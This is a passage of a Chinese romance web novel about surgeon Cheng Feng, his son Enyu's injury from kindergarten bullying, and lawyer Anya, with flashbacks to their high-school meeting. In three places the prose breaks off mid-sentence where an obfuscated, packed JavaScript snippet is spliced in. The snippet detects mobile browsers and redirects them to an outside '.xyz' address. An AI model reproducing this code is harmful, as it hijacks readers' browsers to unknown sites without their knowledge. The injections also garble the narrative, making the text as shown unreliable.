那天,直到暮色四合,程枫才拖着沾满产妇羊水和血渍的身体,从手术室走出。 空无一人的更衣室里,他在中间的排椅上坐了许久,三两下便喝完了一整瓶手术护士塞给的葡萄糖,才终于感觉到神志和体力一点点回到身体。 从吃中午饭前开始,连着三台手术都是危重产妇。终于结束,程枫的精神和体力也都到了临界点。 缓了好一阵,他才终于有力气拖着身子去浴室冲个澡。程枫将衣服快速脱掉,看着衬衣袖口上的血渍和白色的不明物体,他沉默了几秒,连同手术衣卷成团,全部扔进垃圾桶。 等他再次从浴室走出,顶着湿润的头发打开储物柜,才发现月初放在柜子里的干净衣物都已经被用完。唯独剩下一套几个月前,医院工会组织护运动会时发给大家的衣服。 那套烟灰色的运动装也算得上合身,只是在连帽卫衣和袋鼠兜的衬托下,程枫看起来幼态了不少,一眼看去倒像个刚从大学毕业的学生。 被热水浇透后的程医生从上到下的皮肤都在发红,看了眼手表,已经过了接恩宇的时间。他来不及吹头发,立刻从储物柜的一侧摸出手机,想打个电话给恩宇的幼儿园问问情况。 没想到等待他的,却是7个未接来电和数不清的消息的通知挤满屏幕。 第一条是来自恩宇的幼儿园。 【程医生,我是幼儿园的张老师,给您打了好几个电话都没人接。恩宇在幼儿园受了点伤,不是很严重,园方准备派老师带他去医院。您如果看到消息的话,请尽快联系我们。】 最后一条是安雅发的。 【恩宇幼儿园联系不到你,知道你在手术。我已经和幼儿园的老师见过面了,现在恩宇正在你们医院急诊做检查。如果手术结束看到这条信息的话,尽快打给我。】 消息显示是下午的3点38分,正是他刚开始那个脐带脱垂手术不久。 甚至来不及思考,程枫立刻便向安雅的电话回拨过去。 “恩宇怎么了?”他顾不上寒暄,白着嗓子就喊了出来,“幼儿园老师说他受伤了,伤哪了?严重吗?你现在......和他在一起吗?”他紧抓着救命稻草一般,攥着手机的指节已经泛出青白。 “他睡着了。”安雅尽量压低着声音,怕吵醒怀里的恩宇,“额角摔破了,缝了三针,我觉得有点严重。” 他安静地听安雅压低声音讲着恩宇的病情,当听到“缝了三针”时,程枫不由得猛然起身,撞翻手边的葡萄糖空瓶,塑料瓶在地上撞击的脆响回荡在空气中,让程枫心里一惊。 “我们在急诊留观室等你。” 虽然名叫留观室,其实也不过就是急诊大厅里靠南边的一个小房间,里面堪堪并排放了三张床,供那些做了急诊处理又不能及时离开的病患休息观察。 因为已经临近傍晚,部分医生和护士都已经换班结束,留观的轻症患者也都基本回家或者外出吃饭了,房间里就只剩下安雅抱着睡着的恩宇,孤零零地等着程枫的到来。 房间里的日光灯管不时发出“噼啪”的电流声,程枫一路小跑,推门而入时带起的风惊动了墙角的窗帘,惹得正在发呆的安雅一惊,不由自主地抱紧了怀里的小身体。 “你来了。” 烟灰色卫衣上是男人五官优越的脸,鼻头的潮红还未褪去,发梢滴落的水珠在锁骨处洇开,恍惚间竟与多年前那个夏夜的雷雨夜重叠。安雅突然开始怀念十五岁那个淋雨背她的少年。那个人,好像也长这样。 程枫看安雅抱着熟睡的恩宇靠在病床上,轻声哼着他没听过的小调。 “幼儿园老师说是从滑梯上摔下来,然后碰到了滑梯底部的拐角。“安雅从身边抽出一张CT影像图,递给程枫,“外伤缝了三针,医生担心从那么高的地方摔下来会造成颅内损伤,所以还做了个CT看了看。” “轻微脑震荡。”程枫捏紧那张影像,胶片在寂静中发出脆响。 他又靠近了一点,看着安雅怀里的恩宇在疼痛和各种检查的折腾后睡得小脸通红,心里一时间五味杂陈。他想做点什么,但最后也只是指尖悬在恩宇额角的纱布上。不知道为什么,那双他引以为傲的,一直稳拿手术刀的手,此刻却泛起细密的颤抖。 在安雅的注视下,他最后还是伸手去摸了摸恩宇的额头。可能是感觉到了不适,恩宇将脸向安雅胸前更靠近了一点。 “他平时发烧的时候就会脸红。”程枫枯坐在一旁,像是在解释着什么,“还好,现在体温正常。脸那么红......应该是哭了很久吧。” “上次见面我就听恩宇说过幼儿园的事。这是张老师发来的录像,你看。“安雅将手机推过去,屏幕上是幼儿园的小朋友们正在操场里三五成群的玩耍。恩宇跟着几个小朋友一起从滑梯侧边楼梯走上了最高的平台,他排在最后。 开始的时候,大家还都一个一个按顺序蹲下,然后滑下去。恩宇等了许久之后,终于准备要蹲下,却被已经滑下又重新上来的一个穿红衣服的小男孩一把推下。连翻了几个滚后,撞向了滑梯底部的拐角。 “我知道,这事原本不该我管。但恩宇能在自己受伤后打电话给我,我既然现在已经知道了这些事,也看到了,那我就必须管。”即使在程枫来之前她已经看过好几遍视频,但再看一次,安雅还是觉得心惊胆战,“程枫,你知道恩宇在幼儿园经常受到欺负吗?“ 程枫的手指紧紧扣着手机屏幕,指腹在屏幕表面留下雾蒙蒙的指印。视频里穿红衣服的男孩的推搡动作太过熟练,恩宇滚落时后脑勺正对着摄像头,那撮总是不服帖的卷发还在镜头前忽闪着,但恩宇已经趴在滑梯下的草地上一动不动。 急诊大厅惨白的灯光将程枫的心切成碎片,他突然想起上周回家时,恩宇校服领口沾着的泥点。他笑着问是怎么回事,可恩宇却揉着眼睛说“玩滑梯不小心蹭的”,自己竟然信了。 “听恩宇的主班老师说,她这学期因为恩宇的事,有叫过几次家长。是你去的吗?”安雅的声音冷淡,“她说一次是因为恩宇抢小朋友的铅笔,然后被小朋友打了头;还有一次是因为小朋友们在吃午饭前洗手,恩宇先打了人,然后被用小朋友用手指戳他眼睛,最后引发感染,还有......“安雅把对案情过目不忘的本领用在了恩宇身上,这也是她第一次感受到,原来案情里的每一个细节,都不只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464734|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是简单的一句话。 在轻飘飘的几个字之下,掩藏的是一个活生生的人。他们真实的血泪和痛苦,都被迫隐藏起来。只能眼巴巴地等着或许有一天会有一个人愿意站出来帮他,然后告诉他们,以后不用再忍耐了,这些事都过去了,生活会还他们一个公道。 可事情往往没有那么简单,也不会那么轻松和容易。 “上个月午睡时恩宇尿裤子,听说也给你打了电话,说是让送一条干净的裤子过去,你去了吗?”安雅点开另一段监控,画面里四岁的孩子攥着湿透的裤腰缩在小床上,“老师让他穿着湿透的裤子继续睡,而你赶过去的时候,“她突然觉得荒唐,扶着额头挤出一声嗤笑,“张老师是不是跟你解释了因为恩宇睡觉前喝水太多,而他们正培养孩子自理能力?” 安雅还在不断输出,程枫只觉得自己脑子里嗡声一片。那声音忽远忽近,最后传到自己耳朵里时,却不知道都说了些什么。最后等他反应过来时,才发觉后槽牙被咬得生疼。 安雅说的事,他每一件都知道,但却又都不完全知道。 程枫想起送裤子那天,张老师将恩宇推到他面前,恩宇小小的身子上裹着自己提前在幼儿园放好的小熊睡衣,里面却还穿着那条已经湿透的裤子。孩子小小的脑袋从睡衣里探出来,从脸到脖子都通红,他当时竟以为是暖气太足,甚至笑着揉了揉儿子发烫的耳垂。 现在看来,恩宇不知道受了多少委屈和欺负,才能让一个四岁的孩红着脸觉得害羞。 “今天下午因为要给恩宇看病,时间比较紧张,所以关于具体的情况我还没有来得及掌握完整。”收回手机,安雅看着程枫,“这事,你准备怎么办?” 程枫忍着快要跳烂了的太阳穴,咽下即将要从胃里涌出的酸水,深吸了一口气,盖住了语气里的哽咽。 “我现在就上OA请假,明天.......你有时间和我一起去幼儿园吗?”可能是因为恩宇之前给了他太多次机会,但他却忽略了。 在情绪的刺激下,程枫当即打定主意要去幼儿园解决掉这件事。同时他觉得自己需要一个帮手,而他无条件信任安雅。 “好啊,明天八点,我在幼儿园门口等你。“安雅立刻回答,红唇在渐深的夜色里泛着冷光,“但在这之前,你最好先想清楚,是要当老师和小朋友们口中的老好人,还是准备为恩宇要个说法?” “我会申请调取所有监控存档,把那些欺负过恩宇的孩子一个个找出来,连同他们的家长向恩宇道歉。”他声音沙哑,“还有联系教育局督导组,投诉园方玩忽职守......” “道歉?程医生,你都快30了,还觉得道歉有用吗?”安雅一时情急,抱着恩宇坐直了身子,“你看着恩宇,看看他,他是一天就变成这样的吗?如果说你工作忙,我可以理解。但他呢?他只是一个四岁的孩子,他需要的不是道歉,而是有人教会他被欺负时可以说出来,也可以放声大哭。“ 怀里的恩宇被骤然收紧的手臂勒得轻哼一声,安雅却恍若未觉。被指甲油涂抹过的鲜红指尖几乎掐进程枫的袖管:“而我们要做的,就是告诉他,所有欺负过他的人,都要付出代价。” 19. 第十九章 夜色渐浓,急诊室迎来短暂的安宁,只有不知从哪个方向飘来的监护仪滴答声,有节律的回响在空荡的走廊。 恩宇蜷缩在安雅怀里,额角的纱布渗出淡黄色药渍。 “我已经联系了教育局督导组,明天他们会派人来幼儿园调查。”安雅翻着手机,“这件事园方必须公开道歉,涉事的孩子和相关老师,也需要签署书面悔过书作为文书资料留存,防止未来在证据方面留下隐患......” 她尽可能简洁地解释着自己的想法,程枫在一旁安静地听着。他望着安雅手机屏幕上密密麻麻的备忘录,目光交汇的瞬间,久违的温情在两人之间悄然弥漫。 程枫也不打断她,只在听安雅说完后才问道:“我记得被叫去急诊的时候,你还在患者的病房外。下午一个人带恩宇又看诊又做检查,还要替我想这些,辛苦你了。” “谁替你想?”安雅将身子侧过去,“我为的是恩宇。他找不到你,就打电话给我了。” “不过老实说,我听到电话那边是幼儿园,心里还觉得奇怪,为什么幼儿园要给我打电话?”说话间,恩宇在安雅的怀里翻了个身,终于找到了一个舒服的姿势,再次睡着。“可一听到是恩宇受伤了,就明白了。你也是的,怎么不把手机放在护士那里?这样有什么急事还能联系到你。” “这次是恩宇聪明,能记住我的电话。我都不敢想,你平时是怎么养孩子的!”安雅扶额。 “我好像,是真的养不好孩子.......”程枫坐在她身后,呼吸间带着沐浴露的清香,“以前他还小,不用上幼儿园,我就上班的时候把他带到医院里来。看诊或者做手术的时候,都有好心的护士陪他玩。有时候医院也会有一些员工家庭活动,寒暑假会有托班,日子也就那么一天天过去了,就没想过这些事。” “他那时候总问我什么时候能上幼儿园.......”落寞的笑在程枫脸上散开,“是我不好,安雅,我没照顾好他。” “好了好了。”安雅本意也不是想要怪他,相比于事后第一时间内部分清楚责任再互相拉扯的内耗行径,安雅更关心的是怎么解决眼前的问题:“我刚说的方案,你作为监护人还满意吗?” “是很好的。很全面又完整。”程枫看着安雅,小心翼翼地开口:“可是我在想......他以后还要继续上幼儿园,也还要在这地方继续生活下去,如果我们那么做的话,恩宇以后在幼儿园会不会被孤立,或者.......受到其它我们看不到的伤害?” 安雅冷笑一声:“我就在这看着,看谁敢。” 程枫声音像是哽在了喉咙里:“恩宇还小。我在想,这事情尽量不要闹大了。如果幼儿园方面和小朋友们都能认识到错误,恩宇也愿意原谅他们的话,是不是该给他们一个修复关系的机会?” “机会?”意识到自己身在医院,安雅尽量压低了声音。 “明天我们去和园长谈过之后,再和那几个小朋友的家长见一下。”程枫伸手想摸摸恩宇的头发,却被安雅侧身避开,“我们可以让那几个孩子当面道歉,之后转班也行......” “恩宇又没有做错事,为什么要转班?”安雅的声音陡然拔高,“该滚的是那群欺负过恩宇的人!他们才应该退学!应该要他们的父母在恩宇面前承认他们没教好孩子,要幼儿园从此不敢再推卸责任!” “你先别生气,安雅。”程枫手足无措地站在她身边,“我明白你的意思,也知道你关心恩宇。可我们,也得为他的以后想想.......” “又是以后!”安雅猛地站起来,恩宇被她突然的动作惊醒,迷迷糊糊揉着眼睛,“程枫,恩宇是你的儿子,关于这件事,你想怎么做,要怎么做,我都无权干涉。但你要借着为他好的名义,这次又当做什么事都没发生继续逃避的话,你的事……我以后就再也不会管了。” 恩宇在半梦半醒中因为疼痛发出断断续续的哼唧,安雅将他抱到窗边,轻拍着他。医院外围环绕着的照明灯将她身后的影子拉出一道尖锐的裂痕,程枫那些所有关于“以后”的考量在她脑袋里嗡嗡作响,与很久以前那个夏天迟来的蝉鸣重叠在一起....... - 在医院住了几天后,安雅又开始继续她刚开始的高中生活。依着她的性子,本来是要在家里再赖上几天才肯上学的。但父母架不住学校的老师一个个每天都打电话来催,只带她回家洗了个澡,就又送去了学校。 眼看着父母对自己在学校遭遇的不满,已经逐渐被各科老师每天打来的嘘寒问暖逐渐稀释。安雅逼着自己相信,其实在这所安城数一数二的高中,除了成绩还是有人文关怀的。不然怎么她一个平行班的小透明,还能值得老师们天天都打电话来? 当然她也是后来才知道,原来那所高中为了减少学生请假影响整体成绩,将学生的出勤率和老师的工资挂钩,完全是连坐制,活像个人贩子工厂。 而回到学校后,安雅做的第一件事,就是去找程枫。 在医院的一面之缘已经足以让她记住那个人的样子,只是学校太大,要找一个人也和大海捞针差不多。但既然从哪里跌倒就要从哪里再见,安雅牢记守株待兔的精髓,每天的午间操时间都在操场口不远处的小卖部门口坐着,只要有人结束了跑操从操场走出,就都能接受到她的检阅。 终于一个周过去了,一无所获。 她也想过要不要去问问爸妈或者班主任老师,那个背她去医院的同学叫什么名字,在哪个班?先不论这他们是不是知道那个人的信息,单单只想到要解释为什么自己会对一个陌生的男同学感兴趣,就立刻让安雅打消了这个念头。 毕竟那时候她真的觉得,其实自己也没有对程枫很感兴趣。就算在学霸同桌闺蜜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464735|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反复威逼利诱之下,她最后也只是含糊其辞地承认了,如果非要说有,也只有一点点而已。 至于如果真的再见到程枫,要说些什么,然后怎么办?她也不知道,反正见了再说。 可能也就是从那时开始,即使之后的十年里她已经离开高中很久,安雅也会经常想起那段日子。少年心气是个很奇怪的东西,当时她就是想再见到程枫,至于什么喜欢讨厌的,好像也没想过那么多。也正是因为这个没头没尾的执念,她连下课时间都不放过,每个课间都趴在二楼,想要从楼下一片黑色脑袋里,找到属于程枫的那一颗。 直到那个月的国旗下讲话。 他们当时所在的学校为了提高各项和学习无关事件的效率,能省则省。其它学校每周一次的国旗下讲话,在这里便只缩减到了每月月初。然后,程枫作为新一届的高三毕业生代表,在学期初,就站在了国旗下,和安雅面面相觑。 能和程枫保持如此近的距离,主要得归功于安雅生的矮,排队时总被塞在最前面。 每每再想起那天,记忆都好像也沾染上了夏天的躁动。安雅耷拉着脑袋站在第一排,后颈被太阳晒得发烫。教导主任正在主席台上调试话筒,刺耳的电流声里,她突然瞥见白衬衫的一角从升旗台下闪过。 “下面有请高三优秀学生代表程枫做国旗下讲话。“ 安雅抬头,话筒震鸣声中,少年修长的身影逆光而来。 台上的程枫调整话筒高度时,腕骨不小心磕在金属支架上泛起一片薄红,安雅呼吸一滞,想起那天在医院,她恢复意识后,也是看到程枫肘部骨节的擦伤,像是在着急之余用皮肉撞上了门框之类的东西。但在注意到她的目光后,程枫却只是笑了笑了,轻声说:“没事,不疼。” 那也是他们当时说过的唯一一句话,但安雅却记了好久。 程枫温润清朗的声音在那个早晨被她记在了心里,初夏的太阳刚升起来不久,正好在安雅的眼里为他覆上了一层柔光。虽然那天程枫到底在国旗下讲了什么,她一句都没听进去。但安雅还是记住了那一天。 直到很多年之后,安雅才意识到,那天好像是她对所有关于“青春”这个词最原始的感受,而程枫这个人,几乎构成了她整个高中时期所有的记忆,包括爱情。 活动结束,人群散去时,安雅第一个冲出队伍,却还是没能追上被安排第一波离场的高三学生。因为站的地方太显眼,被从操场跑出急着去吃早饭的同学推搡了好几回合,最后终于被一只手拉着小臂扯远。 “干什么,没看见我在找人?”几个周的找寻在这一刻都变成怒气,安雅完全不能接受自己把到嘴的程枫弄飞了。 “你身体......好点了吗?” 熟悉的声音传来,安雅回头。 程枫静静地站在她面前,挺拔如竹的模样就那样映进了她心里。 20. 第二十章 一个月以来缠绕在安雅心头的情绪在这一刻突然明了。 “身体吗?都好了,你看!”一扫刚才误以为被打断的怒气,安雅看清了面前那张心心念念的脸。她根本不掩饰自己的兴奋,甚至在程枫面前转了个圈,“就打了几天吊瓶,身上一点什么都没少。” 安雅那时有着学校随处可见的一刀切波波头,晨光穿过梧桐树的叶子洒在她的黑发上,虽然乍看起来挑不出什么特别的地方,但在宽大的校服下,程枫却透过这个颇有傻气的动作,被少女的明媚吸引。 从那一刻起,心动便被程枫藏在心里,从未声张。 “你刚才.......是在找人?”他望着安雅明亮的眼睛,强迫自己忽略掉胸腔内急切如鼓的心跳。 安雅脱口而出:“我在找你!你叫程枫?” 他笑着点点头:“上次在医院,叔叔阿姨有告诉我你的名字,安雅。” “你在医院还和我爸妈说过话?”安雅惊讶,心里想着既然程枫有那么多时间,怎么当时不跟自己多说几句,也省的她找了这么久。 程枫轻轻笑了笑:“嗯,叔叔阿姨人很好的。在病房外问了我几句你的情况,就说要请我吃饭。对了,阿姨还说要写感谢信给学校帮我拿奖学金。不过我下午还有考试,就没来得及和你打个招呼再走。” “他们只有在别人面前才显得很好。”安雅撇撇嘴,小声嘟囔着。 她一直记得自己上了高中后,父母关系急剧恶化的那几年。也许是她以前年纪小没发现,又抑或是观察过身边那么多对夫妻和情侣,安雅却从看到过健康的家庭关系。所以每每在父母吵得不可开交,家里碗盘横飞之际,她只会默默地将自己关在房间里,戴上耳机看一部又一部的电影。 所以对于程枫说的人很好,她自然第一反应是不信。 “所以,你找我有什么事吗?”程枫望着她,笑意爬上嘴角。 课间操的余音还在操场回荡,两人站在台阶上,身后是潮水一般涌向小卖部的同学,其中也不乏认识的人,和对他们两聊天内容感兴趣的同学,更何况十几分钟之前,程枫才刚刚代表毕业班学生上台演讲。在无聊又各处受限的高中生活里,就只这一件事便足以让程枫获得足够多的讨论度和目光,更不用说永远年级前三的成绩所带来的光环。 但这些都在之后的相处中,安雅才终于慢慢意识到。当时顶着从各处传来的目光,安雅突然感觉到了一阵迟来的害羞:“那个.......我就是想跟你说声谢谢,上次的事,多亏了你。” 从操场走出的人越来越多,安雅尽量控制着自己不去想脸颊两侧传来的燥热,心跳蓦地加快。 不等程枫回应,安雅已经逆着人流走向小卖部:“你要吃早饭吗?我请你!”她那时已经颇有多年后在法庭上潇洒输出的影子,“最近他家新上了好多好吃的,那个小圆面包你喜欢吗?” 程枫还在原地思考着什么是她说的“小圆面包”,转眼间就被连拖带拽,拉进了课间操结束后人满为患的小卖部里。 学校内只有这一个叫“学生超市”的地方可以用来买东西,就开在操场回教室的必经之路上。里面的东西倒算得上全面,只是每次到了课间就人满为患,一些某段时期里在学生间流行或者紧俏的东西,多少都得靠点抢才能拿得到。 “就是这个!”安雅的眼睛瞬间亮起来,她踮起脚向身后的人挥手,却被身后不断涌进的人流挤到差一点站不稳。 小卖部闷热的空气里飘着烤肠的焦香,几个男生解开校服推搡着闯入,本就拥挤的空间又产生了一波涌动,直接让安雅被迫向前了几步,直到她娇小的身体最后完完全全贴在了货架上。 “我就快拿到了!”四仰八叉之际,安雅也一刻都没有忘了自己来这地方的目的,“程枫,你要几个?” 喊话时,安雅发觉自己身后习以为常的压迫感突然消失了几秒。虽然不知道为什么,但以安雅长期混迹小卖部的经验,这就是最好的时机。没等到程枫的回答,安雅也不迟疑,直接将货架上最后的两个小圆面包一股脑全抱在怀里,深吸一口气,准备挤出人群付款。 自信认为已经做好挤出去准备的安雅,却在转身的刹那,发现自己的准备还是做少了。 一抬头,程枫的睫毛扫在她的侧脸,那种若有似无得触感,让安雅不真切的感觉加剧,最后一点点让她完全失去了思考的能力。 看着正伏在他胸口的安雅,程枫一瞬间只觉得脸颊滚烫,就连耳朵也传来一阵燥热。 “买好了吗?”程枫作势清了清嗓子,依旧用胳膊虚虚地护着她,校服布料擦过安雅后颈时,她感受到这狭窄逼仄空间里难得有了一丝清新。 等程枫回过神时,安雅已经举着面包钻了出来。她的脸颊和鼻尖上还有未消散的潮红,但却笑得肆意:“正好!你一个,我一个。” 付款排队的速度倒是很快,见程枫已经提前付过了钱,安雅不仅没有感恩,反倒气鼓鼓。 “说好了我来付的!”安雅刚要瞪他,身后突然传来刺耳的哄闹,几个打闹的男生撞翻了饮料架。程枫下意识将她环在臂里,身后的饮料随即“砰砰“砸在地上。在惊雷一般的声响里,安雅的后背贴上他温热的胸膛。 “那......下次让你付?”程枫也没能想到什么好的解决方法。好像从那时起,他在安雅面前就一直嘴笨。那天课间二十分钟的休息,只思考要哄好并不生气的安雅这一项,就能花掉他一半的时间。 其实安雅只是因为两人间过于靠近的距离,脑子突然短路了一下下而已。 “给你。”不由分说的,她把那个还带着自己胸腔体温的小圆面包塞到了程枫手里。 撕开简陋的包装袋,在安雅期待的目光里,程枫轻轻咬下一口。 “很好吃。”他笑的时候也很轻。只简单的几个字,就能让那时的安雅像是得了什么了不起的称赞,控制不住微红的耳尖。 “我说的吧!真的很好吃!因为上次进医院的事,我现在不用参加跑操了。以后你想吃什么可以都跟我说,我提前买好你直接拿就行。”安雅永远嘴比脑子快,就这么一会儿的功夫,安雅已经想通了,既然程枫这个人还不错,以后就可以一起吃饭。 愿意和对方一起吃饭,一直以来都是安雅生活礼仪中的最高待遇。 “其实......我也带了饭。”程枫磨蹭着,从校服口袋掏出一个包好的三明治递给安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464736|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅。看她三两下就吃完了那个小面包却依旧意犹未尽,他觉得安雅应该是没吃饱的,“要是不嫌弃的话,你可以尝尝看。” 递过来的三明治被常见的白色硅油纸简单包裹,看起来和程枫一样干净。 “这么好吃?不应该啊,我每天的饭都在小卖部解决,怎么没见过这个!”一口咬下去,安雅直接惊呼,“老实交代,你在哪买的!” “都说了是带的饭。”看安雅咬了一大口,连一侧的腮帮子都被撑得圆圆鼓鼓,程枫忍不住低头轻笑:“我是走读生,中午和晚上都要回家的。” “还有人中午也能出门?”好像所有学校都神奇的认为只要能把学生困在学校那一方小小的地界,学生的成绩连同他们的行为举止规范就都会自然变好。要是有人在十几年后的安雅面前提起这一茬,她一定会说这地方确实有,她也经常进去探视或者和当事人见面,但那地方的名字叫“监狱”,而且里面的人也并没有因为出不了门就全都改过自新了。 但当时他们这些学生是因为犯了什么罪才要被这样对待,她是一点都想不明白。 像安雅这种蹭着分数线进了重点高中的底层小透明,根本不知道还有这种中午也能出校门的走读形式存在。就连她当时每晚半夜能回家的走读资格,都是在肚子上划了一刀换来的。不然根本不敢想父母和老师哪一个会在繁复困难的走读申请上一遍遍签字。 “应该是吧,可能是因为我家的情况比较特殊?”程枫挠挠头,语气里带着迟疑,“我妈妈她生病了,需要有人照顾。” “那你爸呢?” “他做生意,经常不在家。” 程枫的眼里闪过一丝落寞,但安雅从来就不是能让话掉在地上的人。 “我爸虽然每天都在家,但他什么都不做,只会吆喝我妈干着干那。我妈也是的,为什么要听他的啊!还跟他天天吵架,我半夜回去都睡不了觉,脑子都给快吵炸了。”聪明如程枫,安雅借着抱怨安慰自己的路数,程枫也一样在心里记了下来。 “怪不得你成绩那么好,要是每天能吃上这样的饭,我也能考年级前五。”安雅继续嚼嚼嚼。 “你想要考前五吗?”他站在安雅身边,饶有兴味。 “应该是.......想的吧。”还从没有人问过安雅这个问题。身边的所有人都默认为只要身份是学生,就必须把学习当做是短暂人生中的头等大事,至于想不想,喜欢不喜欢,这一点都不重要。所以没人关心她的想法,从来都没有。 安雅歪头认真想了想又说:“不过像我这种月考都在五百名以后的人,能考进前五十就已经很不错了。” 那时候,她有很多没想过,也没想清楚的问题,直到遇见程枫。 晨光斜斜照在安雅身上,映着她鼻尖沾的面包屑亮晶晶的。程枫下意识伸手想擦,却在触到的瞬间突然意识到自己的反常,只好伸手接过安雅吃完的包装纸,“要是你喜欢的话,我每天早晨和中午也带一份给你,可以吗?” 程枫修长的手指攥紧那团油纸,窸窣的响动让他耳廓更红了几分。 有风吹过,身旁巨大的梧桐树散发着茂盛的绿意,在那个初夏清晨,少年的爱意开始狂乱生长。 21. 第二十一章 面对程枫算得上雪中送炭的提议,每天还都挣扎在饥饿线边缘的安雅完全无力拒绝。 “好呀!”她才十几岁,她能藏住什么心思!那些推脱和羞怯全都是在长成大人后,被磕的头破血流才慢慢学会的道理。当时的安雅只知道,程枫人干净好看,连做的饭也好吃。至于别的,她什么都不想。 “我爸打牌输一次就几百块,但他却每天只给我30块吃饭。”安雅无奈地耸耸肩,“不过你放心,饭不白吃你的,一天两顿,给你20怎么样?” 程枫故意逗她:“哦?那剩下的钱你有什么打算吗?” “不告诉你。”安雅把最后一块三明治进嘴里。 虽然只有短短二十分钟的课间休息,但也足够两个人为期8个多月的吃饭同盟正式以一种不正式的方式建立。 那天分开之前,还是程枫终于看不下去,用纸巾蹭掉她手背的沙拉酱,只是这个动作自然的让两人都愣了一下。然后,便被尖利的上课铃声打断。 安雅还能清楚的记得那种熟悉的频率,水浆乍破一般的紧急,然后更紧急,听起来倒是和急诊室红色代码的报警铃音很像。 思绪被门外突然爆发的警铃打断,安雅这才发觉怀里的恩宇已经半睁开了眼睛,正盯着自己看。 “你醒了吗?恩宇。”安雅坐在程枫对面的空病床上,两人以一种沉默的姿态,安静对峙着。 听到安雅的声音,恩宇也只是眨了眨眼睛,然后又迷迷糊糊地想要睡去。“这样不舒服。”恩宇含糊地吐出几个字来。 “让我来吧。”程枫已经走到了安雅身边,可能是听到了爸爸的声音,恩宇伸着胳膊就要抱。程枫顺势将恩宇从安雅怀里接过,轻轻放在旁边的病床上,盖好被子。 半梦半醒中的恩宇好像也感受到了四肢伸展带来的舒适,抱紧怀中被子,再次陷入睡眠。 “程主任也过来了。”护士推门而入,虽然早就知道恩宇是程枫的儿子,但在这种情况下看见程枫还是有点不适应,“各项报告都已经出来了,主要还是外伤造成的轻微脑震荡和一点点贫血。” 护士把单据放在床头柜上:“回去记得补充铁剂,现在就可以走了,下周记得再来复查就行。” 直到护士离开之后许久,留观室都是安静的。 其实在对程枫说过的“为以后考虑”展现出过大反应后,安雅就已经开始后悔了。都已经过去了那么久,程枫应该早都忘了,只有她还像尾巴被踩到了的猫一样,会立刻爆发出尖叫。 这样可一点也不好。 这些年她很努力地想要摆脱程枫和他给自己带来的那些美好、自卑和不甘。像等不及一般,才刚刚长大,就带着一腔孤勇去了很多地方,见不同的人。就连成年之后的恋爱,也是费尽了心思想要找到一个完全和程枫不一样的人。在她的想象里,那个人或许是大胆的,热烈的,也许只凭一腔孤勇就什么都敢陪她一起。 但一定不是那个,为了所谓的以后而选择逃跑的程枫。 消毒水味混着中央空调的冷风透进来,安雅感受到由脚底升腾而起的寒冷。这一刻她终于相信那些她所谓的努力在程枫面前不过是一击即碎的鬼把戏,好像只要在这个人身边,她就无法控制自己,无论是情绪,还是心动。 “恩宇的外伤已经基本处理好了,但他应该被吓得不轻。从下午做完检查,他就一直缩在我怀里不愿意出来,刚才睡着的时候也不安稳,你多关注,好好照顾他。” 窗外突然闪过几道白光,顷刻间大雨便瓢泼而下。 背着包走过程枫身边时,安雅头也不抬:“明天小娇的案子要签和解书,约的一大早见面。没什么其他事,我就先走了。” 在意识到自己又一次因为程枫失控之后,安雅决定尽快从他身边逃离。这些年她早就明白了很多事情是没有答案,也是没有办法解决的,唯一有用的只有时间。而离开,就意味着时间。 虽然时间有时候也会和她开玩笑,比如谁能想到在这么多年之后,她还能又一次遇到程枫。再比如手背上突然传来熟悉的凉意,安雅才终于不得不承认,即使已经过去了这么多年,她还记得程枫的体温。 离开的脚步被迫停下,她任由程枫细长的手指环覆上自己的腕骨。这次,轮到她回头望着程枫。 程枫坐在病床边,并不像平时那般挺直着腰身,修长的身形在安雅眼里第一次显得那么小。他就那么戚戚地望着安雅,以一种渴求的姿势。 半晌,终于哑着嗓子说出一句:“别走。” 医院窗外的雨水如柱,不时夹杂着闪电,映在程枫的脸上一闪即逝。“对不起,我说谎。”他没有松开手,“我没办法和你做朋友,也不能只满足于站在远处看着你。哪怕看着你离开的背影我都会难过......我怕只要再有一次一不小心放你离开,你就不会再回来了。” 程脸盯着她的眼睛,眼眶略微有些泛红,像是不甘又带着些绝望,就连一贯苏润的声音,此时都变得嘶哑:“第一次从机场送你回家的时候,我就在心里想,无论怎么样都可以,只要能让我看着你就好。让我待在你身边,我不会让其他人发现,也不会让你为难......” “但你说这些,会让我困扰。”安雅轻轻挣脱开他的手。 